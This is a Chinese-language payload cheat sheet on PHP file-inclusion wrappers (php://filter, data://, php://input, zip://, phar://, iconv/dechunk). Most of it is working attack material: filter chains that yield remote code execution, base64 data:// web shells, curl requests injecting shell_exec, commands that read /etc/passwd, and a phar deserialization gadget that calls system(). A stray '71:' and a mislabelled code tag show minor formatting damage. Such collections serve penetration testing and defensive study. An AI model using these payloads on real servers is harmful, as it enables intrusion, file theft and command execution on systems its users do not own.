使用封装协议进行包含 (Inclusion Using Wrappers)
在文件包含漏洞的语境中,封装协议 (Wrapper) 指的是用于访问或包含文件的协议或方法。封装协议常用于 PHP 或其他服务器端语言,以扩展文件包含函数的功能,使其除了支持本地文件系统外,还支持 HTTP、FTP 等协议。
摘要 (Summary)
- php://filter 封装协议
- data:// 封装协议
- expect:// 封装协议
- input:// 封装协议
- zip:// 封装协议
- phar:// 封装协议
- convert.iconv:// 和 dechunk:// 封装协议
- 参考资料 (#references)
php://filter 封装协议
"php://filter" 部分不区分大小写。
| 过滤器 | 描述 |
|---|---|
php://filter/read=string.rot13/resource=index.php |
以 rot13 编码显示 index.php |
php://filter/convert.iconv.utf-8.utf-16/resource=index.php |
将 index.php 从 utf8 编码为 utf16 |
php://filter/convert.base64-encode/resource=index.php |
以 base64 编码字符串形式显示 index.php |
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
封装协议可以与压缩协议链式结合,用于读取大文件。
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
注意:封装协议可以使用 | 或 / 进行多次叠加:
- 多次 base64 解码:
php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s - 先 deflate 再 base64 编码(对有限字符的外带很有用):
php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
此外,还有一种方法可以将 php://filter 转换为完整的 RCE。
- synacktiv/php_filter_chain_generator - 用于生成 PHP 过滤器链的 CLI 工具。
$ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
[+] 正在生成的 Gadget 链将生成以下代码 : <?php phpinfo();?> (base64 值: PD9waHAgcGhwaW5mbygpOz8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
- LFI2RCE.py 可用于生成自定义 Payload。
powershell
# 漏洞文件: index.php
# 漏洞参数: file
# 执行命令: id
# 执行的 PHP 代码: <?=`$_GET[0]`;;?>
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
71:
data:// 封装协议
Payload 使用 base64 编码,内容为:"<?php system($_GET['cmd']);echo 'Shell done !'; ?>"。
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
有趣的事实:您可以通过以下方式触发 XSS 并绕过 Chrome Auditor:http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
expect:// 封装协议
如果在 PHP 或类似应用程序中使用,它可能允许攻击者指定要在系统 Shell 中执行的命令,因为 expect:// 封装协议可以将 Shell 命令作为其输入的一部分进行调用。
input:// 封装协议
在 POST 参数中指定您的 Payload,这可以通过简单的 curl 命令完成。
curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v
另外,Kadimus 配备了一个模块来自动进行此攻击。
./kadimus -u "https://example.com/index.php?page=php://input%00" -C '<?php echo shell_exec("id"); ?>' -T input
zip:// 封装协议
- 创建一个恶意 Payload:
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php; - 将文件压缩:
- 上传归档文件并使用封装协议访问:
phar:// 封装协议
PHAR 归档结构 (PHAR archive structure)
PHAR 文件的运作方式类似于 ZIP 文件,您可以使用 phar:// 来访问存储在其中的文件。
- 创建一个包含后门文件的 phar 归档:
php --define phar.readonly=0 archive.php
<?php
$phar = new Phar('archive.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', '<?php phpinfo(); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
- 使用
phar://封装协议:curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt
PHAR 反序列化 (PHAR deserialization)
此技术在 PHP 8+ 中不可用,反序列化已被移除。
如果现在通过 phar:// 封装协议对现有的 phar 文件执行文件操作,则其序列化的元数据将被反序列化。此漏洞发生在包括 file_exists 在内的以下函数中:include, file_get_contents, file_put_contents, copy, file_exists, is_executable, is_file, is_dir, is_link, is_writable, fileperms, fileinode, filesize, fileowner, filegroup, fileatime, filemtime, filectime, filetype, getimagesize, exif_read_data, stat, lstat, touch, md5_file 等。
此利用至少需要一个带有魔术方法的类,如 __destruct() 或 __wakeup()。
让我们以执行参数数据的 AnyClass 类为例。
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
...
echo file_exists($_GET['page']);
我们可以构建一个在元数据中包含序列化对象的 phar 归档。
// 创建新的 Phar
$phar = new Phar('deser.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// 添加任意类的对象作为元数据
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
最后调用 phar 封装协议:curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar
注意:您可以使用 $phar->setStub() 添加 JPG 文件的魔术字节:\xff\xd8\xff
convert.iconv:// 和 dechunk:// 封装协议
通过基于错误的 Oracle 泄露文件内容
convert.iconv://:将输入转换为另一个协议(convert.iconv.utf-16le.utf-8)dechunk://:如果字符串不包含换行符,则当且仅当字符串以 A-Fa-f0-9 开头时,它将擦除整个字符串。
此利用的目标是根据 DownUnderCTF 的 Writeup,逐个字符泄露文件的内容。
要求:
- 后端不得使用
file_exists或is_file。 - 漏洞参数应位于
POST请求中。- 由于大小限制,您无法在 GET 请求中泄露超过 135 个字符。
利用链基于 PHP 过滤器:iconv 和 dechunk:
- 使用
iconv过滤器,通过使数据大小呈指数级增长的编码来触发内存错误。 - 使用
dechunk过滤器,根据先前的错误确定文件的第一个字符。 - 再次使用具有不同字节顺序编码的
iconv过滤器,将剩余字符与第一个字符交换。
使用 synacktiv/php_filter_chains_oracle_exploit 进利用。脚本将使用 HTTP 状态码: 500 或时间作为基于错误的 Oracle 来确定字符。
$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0
[*] 目标 URL 为 : http://127.0.0.1
[*] 正在泄露的本地文件为 : /test
[*] 正在运行 POST 请求
[+] 文件 /test 泄露完成!
在自定义格式输出中泄露文件内容
- ambionics/wrapwrap - 生成一个
php://filter链,为文件的内容添加前缀和后缀。
为了获取某些文件的内容,我们希望获得:{"message":"<文件内容>"}。
./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000
./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
./wrapwrap.py /etc/passwd '<root><name>' '</name></root>' 1000
这可以用于针对如下所示的漏洞代码。
使用盲文件读取原语泄露文件内容
code remote.py # 编辑 Remote.oracle
./lightyear.py test # 测试您的实现是否有效
./lightyear.py /etc/passwd # 导出文件!
参考资料 (References)
- Baby^H Master PHP 2017 - Orange Tsai (@orangetw) - 2021年12月5日
- Iconv,设置字符集实现 RCE:利用 libc 黑掉 PHP 引擎(第 1 部分) - Charles Fol - 2024年5月27日
- 介绍 Lightyear:一种导出 PHP 文件的新方法 - Charles Fol - 2024年11月4日
- 介绍 Wrapwrap:使用 PHP 过滤器为文件添加前缀和后缀 - Charles Fol - 2023年12月11日
- It's A PHP Unserialization Vulnerability Jim But Not As We Know It - Sam Thomas - 2018年8月10日
- 新的 PHP 利用技术 - Dr. Johannes Dahse - 2018年8月14日
- OffensiveCon24 - Charles Fol- Iconv, Set the Charset to RCE - 2024年6月14日
- PHP 过滤器链:通过基于错误的 Oracle 读取文件 - Rémi Matasse - 2023年3月21日
- PHP 过滤器链:是什么以及如何使用它 - Rémi Matasse - 2022年10月18日
- 在不控制任何文件的情况下解决来自 hxp ctf 2021 的 "includer's revenge" - @loknop - 2021年12月30日